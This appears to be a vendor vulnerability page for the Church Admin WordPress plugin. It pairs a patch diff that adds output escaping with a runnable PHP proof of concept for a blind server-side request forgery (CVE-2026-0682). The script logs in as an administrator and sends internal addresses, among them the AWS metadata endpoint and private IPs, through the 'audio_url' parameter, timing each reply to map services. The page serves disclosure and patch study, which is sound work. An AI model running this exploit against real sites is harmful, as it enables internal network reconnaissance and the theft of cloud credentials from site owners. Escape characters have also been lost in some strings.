         $household_id=$wpdb->insert_id;
-        $wpdb->query('INSERT INTO '.$wpdb->prefix.'church_admin_people (first_name,last_name,email,household_id,show_me,user_id,head_of_household,sex,people_type_id,gdpr_reason,first_registered)VALUES("'.esc_sql( $first_name).'","'.esc_sql( $last_name).'","'.esc_sql( $email ).'","'.(int)$household_id.'","0","'.(int)$user->ID.'",1,1,1,"'.esc_sql( __('Created from current user account')).'",,"'.esc_sql(wp_date('Y-m-d')).'")');
+        $wpdb->query('INSERT INTO '.$wpdb->prefix.'church_admin_people (first_name,last_name,email,household_id,show_me,user_id,head_of_household,sex,people_type_id,gdpr_reason,first_registered)VALUES("'.esc_sql( $first_name).'","'.esc_sql( $last_name).'","'.esc_sql( $email ).'","'.(int)$household_id.'","0","'.(int)$user->ID.'",1,1,1,"'.esc_sql( __('Created from current user account','church-admin')).'",,"'.esc_sql(wp_date('Y-m-d')).'")');
         $people_id=$wpdb->insert_id;
-        //translators: %1$s is an email, %2$s is a link "Edit your entry"
+        /* translators: 1: is an email, 2: is a link "Edit your entry" */
         $warning=esc_html( sprintf(__('Your user login email %1$s was not in the directory, so the plugin created an entry for you - %2$s','church-admin' ) ,   $user->user_email,
         '<a class="button-primary" href="'.esc_url(wp_nonce_url('admin.php?page=church_admin/index.php&action=edit_people&people_id='.(int)$people_id,'edit_people')).'">'.esc_html( __('Edit your entry','church-admin')).'</a>'));

@@ -3117,7 +3126,7 @@

             $sec_left = ($trial_period + $one_month) - time();
             $days = (int)($sec_left/86400);
-            //translators: %1$s a number
+            /* Translators: 1s a number */
             $trial_period_countdown = '<span style="color:red">'.sprintf(_n('Trial period - %1$s day left','Trial period - %1$s days left',$days,'church-admin'),$days).'</span>';
         }

@@ -3131,7 +3140,7 @@
     global $wpdb;

    $title = 'Church Admin Plugin v.'. CHURCH_ADMIN_VERSION;
-    echo'<h1 class="church-admin-title"><a title="'.esc_html( __('Back to menu','church-admin')).'" href="'.esc_url(admin_url().'admin.php?page=church_admin/index.php').'"><span class="ca-dashicons dashicons dashicons-menu-alt3" style="text-decoration:none;"></span></a> '.$title.'</h1>';
+    echo wp_kses_post('<h1 class="church-admin-title"><a title="'.esc_html( __('Back to menu','church-admin')).'" href="'.esc_url(admin_url().'admin.php?page=church_admin/index.php').'"><span class="ca-dashicons dashicons dashicons-menu-alt3" style="text-decoration:none;"></span></a> '.$title.'</h1>');

 }

@@ -3207,9 +3216,9 @@
             {
                 $permissions++;
                 echo '<div class="ca-boxes" id="'.esc_html( $name).'">';
-                echo    '<div class="ca-boxes-header '.$item['background'].'">'."rn";
-                echo '<p>'.$item['font-awesome'].'</p>'."rn";
-                echo'<h3>'.$item['title'].'</h3>'."rn";
+                echo    '<div class="ca-boxes-header '.esc_html($item['background']).'">'."rn";
+                echo '<p>'.esc_html($item['font-awesome']).'</p>'."rn";
+                echo'<h3>'.esc_html($item['title']).'</h3>'."rn";
                 echo'</div>'."rn";
                 echo '<div class="ca-boxes-content">';

@@ -3218,7 +3227,7 @@
                         church_admin_module_dropdown( $name);
                     }else
                     {
-                        echo'<p><a class="button-primary" href="'.wp_nonce_url(admin_url().'admin.php?page=church_admin/index.php&action='.esc_html( $name),$name).'">'.esc_html( $item['title'] ).'</a></p>';
+                        echo'<p><a class="button-primary" href="'.esc_url( wp_nonce_url(admin_url().'admin.php?page=church_admin/index.php&action='.esc_attr( $name),$name) ) .'">'.esc_html( $item['title'] ).'</a></p>';
                     }
                     if(is_callable( $item['callback'] ) )call_user_func( $item['callback'] );
                     echo'</div></div>';
@@ -3230,8 +3239,8 @@
     }
     if($x>$permissions)
     {
-        //translators: %1$s and %2$s are numbers
-        echo'<div class="notice notice-danger"><h2>Church Admin</h2><p>'.sprintf(__('You have permissions for %1$d out of %2$d modules','church-admin'),$permissions,$x).'</p>';
+        /* translators: 1: number 2: numbers */
+        echo wp_kses_post('<div class="notice notice-danger"><h2>Church Admin</h2><p>'.sprintf(__('You have permissions for %1$d out of %2$d modules','church-admin'),$permissions,$x).'</p>');

         echo'</div>';
     }
@@ -3241,7 +3250,7 @@
                 $(".church-admin-menu-action").change(function()  {
                     var action=$(this).val();
                     console.log(action);
-                    window.location.href="'.admin_url().'admin.php?page=church_admin/index.php&action="+action;
+                    window.location.href="'.esc_url(admin_url()).'admin.php?page=church_admin/index.php&action="+action;
                 });
                 $(".ca-toggle").click(function()
                 {
@@ -3292,7 +3301,7 @@
     if(!empty( $pages) )
     {
         echo'<h3>'.esc_html( __("App usage graph",'church-admin' ) ).'</h3>';
-        echo'<form action="'.admin_url().'admin.php?page=church_admin/index.php#app" method="POST"><p><select name="app_page">';
+        echo'<form action="'.esc_url(admin_url().'admin.php?page=church_admin/index.php#app').'" method="POST"><p><select name="app_page">';
         if(!empty( $_POST['app_page'] ) )
         {
             echo'<option value="'.esc_attr( church_admin_sanitize($_POST['app_page'])) .'">'.esc_html(church_admin_sanitize($_POST['app_page'])).'</option>';
@@ -3344,7 +3353,7 @@


             //var_dump( $data);
-            $out='
+            echo esc_js('
         <script type="text/javascript">
           google.charts.load("current", {"packages":["corechart"]});
           google.charts.setOnLoadCallback(drawChart);
@@ -3363,9 +3372,9 @@
             var chart = new google.visualization.LineChart(document.getElementById("app_graph") );

             chart.draw(data, options);
-          }</script>';
-                $out.='<div id="app_graph" style="width:100%;height:200px;"></div>';
-            echo $out;
+          }</script>');
+            echo '<div id="app_graph" style="width:100%;height:200px;"></div>';
+
     }
 }
 /***********************
@@ -3451,28 +3460,30 @@
             case 'automations':
                 check_admin_referer('automations');
                 if($licence!='premium'){
-                    echo'<div class="error"><p>'.esc_html( __("This feature is premium only",'church-admin' ) ).'<br><a class="button-primary" href="'.admin_url().'admin.php?page=church_admin/index.php#support">Upgrade</a></p></div>';
+                    echo'<div class="error"><p>'.esc_html( __("This feature is premium only",'church-admin' ) ).'<br><a class="button-primary" href="'.esc_url(admin_url().'admin.php?page=church_admin/index.php#support').'">Upgrade</a></p></div>';
                     return;
                 }
                 if(!church_admin_level_check('Directory') )
                 {

-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Directory','church-admin') )).'</h2></div>';
+                    echo '<div class="notice notice-danger"><h2>';
+                    /* translators: 1s is a module name */
+                    echo esc_html(__('You need "Directory" permissions to access this page','church-admin'));
+                    echo '</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('automations');
                 require_once(plugin_dir_path(dirname(__FILE__) ).'includes/automations.php');
-                echo church_admin_automations_list();
+                echo wp_kses_post(church_admin_automations_list());
             break;
             case'registration-followup-email-setup':
                 check_admin_referer('registration-followup-email-setup');

                 if(!church_admin_level_check('Directory') )
                 {
-
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Directory','church-admin') )).'</h2></div>';
+                    echo '<div class="notice notice-danger"><h2>';
+                    echo esc_html(__('You need "Directory" permissions to access this page','church-admin'));
+                    echo '</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('automations');
@@ -3484,10 +3495,9 @@

                 if(!church_admin_level_check('Directory') )
                 {
-
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Directory','church-admin') )).'</h2></div>';
-                    return;
+                   echo '<div class="notice notice-danger"><h2>';
+                    echo esc_html(__('You need "Directory" permissions to access this page','church-admin'));
+                    echo '</h2></div>';
                 }
                 church_admin_module_dropdown('automations');
                 require_once(plugin_dir_path(dirname(__FILE__) ).'includes/automations.php');
@@ -3496,13 +3506,13 @@
             case 'conditional-custom-field-automations':
                 check_admin_referer('conditional-custom-field-automations');
                 if($licence!='premium'){
-                    echo'<div class="error"><p>'.esc_html( __("This feature is premium only",'church-admin' ) ).'<br><a class="button-primary" href="'.admin_url().'admin.php?page=church_admin/index.php#support">Upgrade</a></p></div>';
+                    echo'<div class="error"><p>'.esc_html( __("This feature is premium only",'church-admin' ) ).'<br><a class="button-primary" href="'.esc_url(admin_url().'admin.php?page=church_admin/index.php#support').'">Upgrade</a></p></div>';
                     return;
                 }
                 if(!church_admin_level_check('Directory') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Directory','church-admin') )).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html(__('You need "Directory" permissions to access this page','church-admin')).'</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('automations');
@@ -3512,13 +3522,13 @@
             case 'edit-custom-field-automation':
                 check_admin_referer('edit-custom-field-automation');
                 if($licence!='premium'){
-                    echo'<div class="error"><p>'.esc_html( __("This feature is premium only",'church-admin' ) ).'<br><a class="button-primary" href="'.admin_url().'admin.php?page=church_admin/index.php#support">Upgrade</a></p></div>';
+                    echo'<div class="error"><p>'.esc_html( __("This feature is premium only",'church-admin' ) ).'<br><a class="button-primary" href="'.esc_url(admin_url().'admin.php?page=church_admin/index.php#support').'">Upgrade</a></p></div>';
                     return;
                 }
                 if(!church_admin_level_check('Directory') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Directory','church-admin') )).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html(__('You need "Directory" permissions to access this page','church-admin') ).'</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('automations');
@@ -3528,13 +3538,13 @@
             case 'delete-custom-field-automation':
                 check_admin_referer('delete-custom-field-automation');
                 if($licence!='premium'){
-                    echo'<div class="error"><p>'.esc_html( __("This feature is premium only",'church-admin' ) ).'<br><a class="button-primary" href="'.admin_url().'admin.php?page=church_admin/index.php#support">Upgrade</a></p></div>';
+                    echo'<div class="error"><p>'.esc_html( __("This feature is premium only",'church-admin' ) ).'<br><a class="button-primary" href="'.esc_url(admin_url().'admin.php?page=church_admin/index.php#support').'">Upgrade</a></p></div>';
                     return;
                 }
                 if(!church_admin_level_check('Directory') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Directory','church-admin') )).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html(__('You need "Directory" permissions to access this page','church-admin')) .'</h2></div>';
                      return;
                 }
                 church_admin_module_dropdown('automations');
@@ -3555,11 +3565,13 @@
                     $p1 = !empty($_REQUEST['people_id1'])? church_admin_sanitize($_REQUEST['people_id1']):null;
                     $p2 = !empty($_REQUEST['people_id2'])? church_admin_sanitize($_REQUEST['people_id2']):null;
                     if(!empty($p1) && church_admin_int_check($p1) && !empty($p2) && church_admin_int_check($p2)){
-                        echo church_admin_merge_people( (int)$p1,(int)$p2 );
-                    }else{echo'<div class="error"><p>'.esc_html( __("Missing people ids",'church-admin' ) ).'</p></div>';}
+                        echo wp_kses_post(church_admin_merge_people( (int)$p1,(int)$p2 ) );
+                    }else{
+                        echo'<div class="error"><p>'.esc_html( __("Missing people ids",'church-admin' ) ).'</p></div>';
+                    }
                 }else{
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Directory','church-admin') )).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html(__('You need "Directory" permissions to access this page','church-admin')).'</h2></div>';

                 }
             break;
@@ -3581,8 +3593,8 @@
             case'import-csv':
                 check_admin_referer('import-csv');
                 if(!church_admin_level_check('Directory') ){
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Directory','church-admin') )).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'. esc_html(__('You need "Directory" permissions to access this page','church-admin')).'</h2></div>';
                     return;
                 }
                 else{
@@ -3597,8 +3609,8 @@
                 check_admin_referer('replicate-roles');
                 if(!church_admin_level_check('Directory') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Directory','church-admin') )).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html(__('You need "Directory" permissions to access this page','church-admin') ).'</h2></div>';
                     return;
                 }
                 else{
@@ -3611,8 +3623,8 @@
             case 'edit_marital_status':
                 check_admin_referer('edit_marital_status');
                 if(!church_admin_level_check('Directory') ){
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') )).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin')).'</h2></div>';
                 }
                 else
                 {require_once(plugin_dir_path(dirname(__FILE__) ).'includes/settings.php');church_admin_edit_marital_status( $ID);}
@@ -3621,8 +3633,8 @@
                 check_admin_referer('delete_marital_status');
                 if(!church_admin_level_check('Directory') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') )).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin')).'</h2></div>';
                     return;
                 }
                 else{
@@ -3642,8 +3654,8 @@

                 if(!church_admin_level_check('Calendar') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') ) ).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin' )  ).'</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('calendar');
@@ -3657,8 +3669,8 @@

                 if(!church_admin_level_check('Calendar') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') )).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin')).'</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('calendar');
@@ -3673,8 +3685,8 @@

                 if(!church_admin_level_check('Calendar') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') ) ).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin' )  ).'</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('calendar');
@@ -3692,8 +3704,8 @@

                 if(!church_admin_level_check('Calendar') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') ) ).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin' )  ).'</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('calendar');
@@ -3707,8 +3719,8 @@

                 if(!church_admin_level_check('Calendar') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') ) ).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin' )  ).'</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('calendar');
@@ -3722,8 +3734,8 @@

                 if(!church_admin_level_check('Calendar') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') )) .'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin' )) .'</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('calendar');
@@ -3737,8 +3749,8 @@

                 if(!church_admin_level_check('Calendar') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') ) ).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin' )  ).'</h2></div>';
                     return;
                 }
                 require_once(plugin_dir_path(dirname(__FILE__) ).'includes/calendar.php');
@@ -3752,8 +3764,8 @@

                 if(!church_admin_level_check('Calendar') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') ) ).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin' )  ).'</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('calendar');
@@ -3768,8 +3780,8 @@
                 //check_admin_referer('series_event_delete');
                 if(!church_admin_level_check('Calendar') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') ) ).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin' )  ).'</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('calendar');
@@ -3782,8 +3794,8 @@
                 //check_admin_referer('series_event_delete');
                 if(!church_admin_level_check('Calendar') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') ) ).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin' )  ).'</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('calendar');
@@ -3798,8 +3810,8 @@

                 if(!church_admin_level_check('Calendar') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') ) ).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin' )  ).'</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('calendar');
@@ -3821,8 +3833,8 @@
                 //check_admin_referer('single_event_edit');
                 if(!church_admin_level_check('Calendar') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') ) ).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin' )  ).'</h2></div>';
                      return;
                 }
                 church_admin_module_dropdown('calendar');
@@ -3835,8 +3847,8 @@
                 //check_admin_referer('single_event_edit');
                 if(!church_admin_level_check('Calendar') )
                 {
-                     //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Calendar','church-admin') ) ).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html( __('You need "Calendar" permissions to access this page','church-admin' )  ).'</h2></div>';
                      return;
                 }
                 church_admin_module_dropdown('calendar');
@@ -3859,8 +3871,8 @@

                     if(!church_admin_level_check('Bulk_Email') )
                     {
-                         //translators: %1$s is a permission name
-                    echo '<div class="notice notice-danger"><h2>'.esc_html( sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Bulk Email','church-admin'))  ).'</h2></div>';
+
+                    echo '<div class="notice notice-danger"><h2>'.esc_html(__('You need "Bulk Email" permissions to access this page','church-admin' ) )  .'</h2></div>';
                         return;
                     }
                     require_once(plugin_dir_path(dirname(__FILE__) ).'includes/email.php');
@@ -3879,7 +3891,7 @@

                 if(!church_admin_level_check('Bulk_Email') )
                 {
-                    echo '<div class="notice notice-danger"><h2>'.esc_html(sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Bulk Email','church-admin') )).'</h2></div>';
+                    echo '<div class="notice notice-danger"><h2>'.esc_html(__('You need "Bulk Email" permissions to access this page','church-admin' ) )  .'</h2></div>';
                     return;
                 }
                 church_admin_module_dropdown('comms');
@@ -3892,7 +3904,7 @@
                 check_admin_referer('single-gdpr-email');
                 if(!church_admin_level_check('Directory') )
                 {
-                    echo '<div class="notice notice-danger"><h2>'.esc_html(sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Directory','church-admin') )).'</h2></div>';
+                    echo '<div class="notice notice-danger"><h2>'.esc_html(__('You need "Directory" permissions to access this page','church-admin' )  ).'</h2></div>';
                     return;
                 }
                 require_once(plugin_dir_path(dirname(__FILE__) ).'includes/directory.php');
@@ -3911,7 +3923,7 @@
             case 'gdpr-email':
                 check_admin_referer('gdpr-email');
                 if(!church_admin_level_check('Directory') )  {
-                    echo '<div class="notice notice-danger"><h2>'.esc_html(sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Directory','church-admin') )).'</h2></div>';
+                    echo '<div class="notice notice-danger"><h2>'.esc_html(__('You need "Directory" permissions to access this page','church-admin' )  ).'</h2></div>';
                     return;
                 }
                 require_once(plugin_dir_path(dirname(__FILE__) ).'includes/directory.php');
@@ -3921,7 +3933,7 @@
             case 'gdpr-email-test':
                 check_admin_referer('gdpr-email-test');
                 if(church_admin_level_check('Directory') )  {
-                    echo '<div class="notice notice-danger"><h2>'.esc_html(sprintf(__('You need "%1$s" permissions to access this page','church-admin' ) ,__('Directory','church-admin') )).'</h2></div>';
+                    echo '<div class="notice notice-da

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0682 - Church Admin <= 5.0.28 - Authenticated (Administrator+) Blind Server-Side Request Forgery via 'audio_url' Parameter

<?php
/**
 * Proof of Concept for CVE-2026-0682
 * Blind SSRF in Church Admin WordPress Plugin <= 5.0.28
 * Requires valid Administrator WordPress credentials
 */

$target_url = 'http://target-wordpress-site.com';
$username = 'admin_username';
$password = 'admin_password';

// Internal service to probe (common internal services)
$internal_targets = [
    'http://127.0.0.1:80',
    'http://127.0.0.1:8080',
    'http://localhost:3306',
    'http://169.254.169.254/latest/meta-data/', // AWS metadata service
    'http://192.168.1.1',
    'http://10.0.0.1'
];

// Initialize cURL session for WordPress login
$ch = curl_init();

// Step 1: Get login page to retrieve nonce/redirect cookies
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Submit login credentials
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);

// Check if login was successful by looking for admin dashboard
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

echo "[+] Successfully logged in as Administratorn";

// Step 3: Get admin-ajax.php nonce (if required)
// Note: The vulnerability may not require a nonce for Administrator users
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Step 4: Exploit SSRF vulnerability
foreach ($internal_targets as $internal_url) {
    echo "[+] Testing SSRF to: $internal_urln";
    
    $exploit_data = [
        'action' => 'church_admin_upload_mp3',
        'audio_url' => $internal_url,
        // Additional parameters that might be required
        'nonce' => '', // Nonce may not be required for admin users
        'sermon_id' => '1' // Example sermon ID
    ];
    
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
    curl_setopt($ch, CURLOPT_TIMEOUT, 5); // Set timeout to detect slow responses
    
    $start_time = microtime(true);
    $response = curl_exec($ch);
    $end_time = microtime(true);
    $response_time = $end_time - $start_time;
    
    // Analyze response for indicators
    if (curl_errno($ch)) {
        echo "    [-] cURL Error: " . curl_error($ch) . "n";
    } else {
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        echo "    [-] HTTP Code: $http_coden";
        echo "    [-] Response Time: " . round($response_time, 2) . " secondsn";
        
        // Check for error messages that might indicate service response
        if (strpos($response, 'Connection refused') !== false || 
            strpos($response, 'timeout') !== false ||
            strpos($response, 'Failed to open stream') !== false) {
            echo "    [-] Service appears unreachablen";
        } elseif ($response_time > 3) {
            echo "    [!] Slow response - service may be listeningn";
        } elseif ($http_code == 200 && strlen($response) > 0) {
            echo "    [!] Received response from internal servicen";
            // In blind SSRF, the actual response isn't returned, but we might get plugin errors
        }
    }
    echo "n";
}

curl_close($ch);
unlink('cookies.txt');
echo "[+] SSRF testing completedn";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School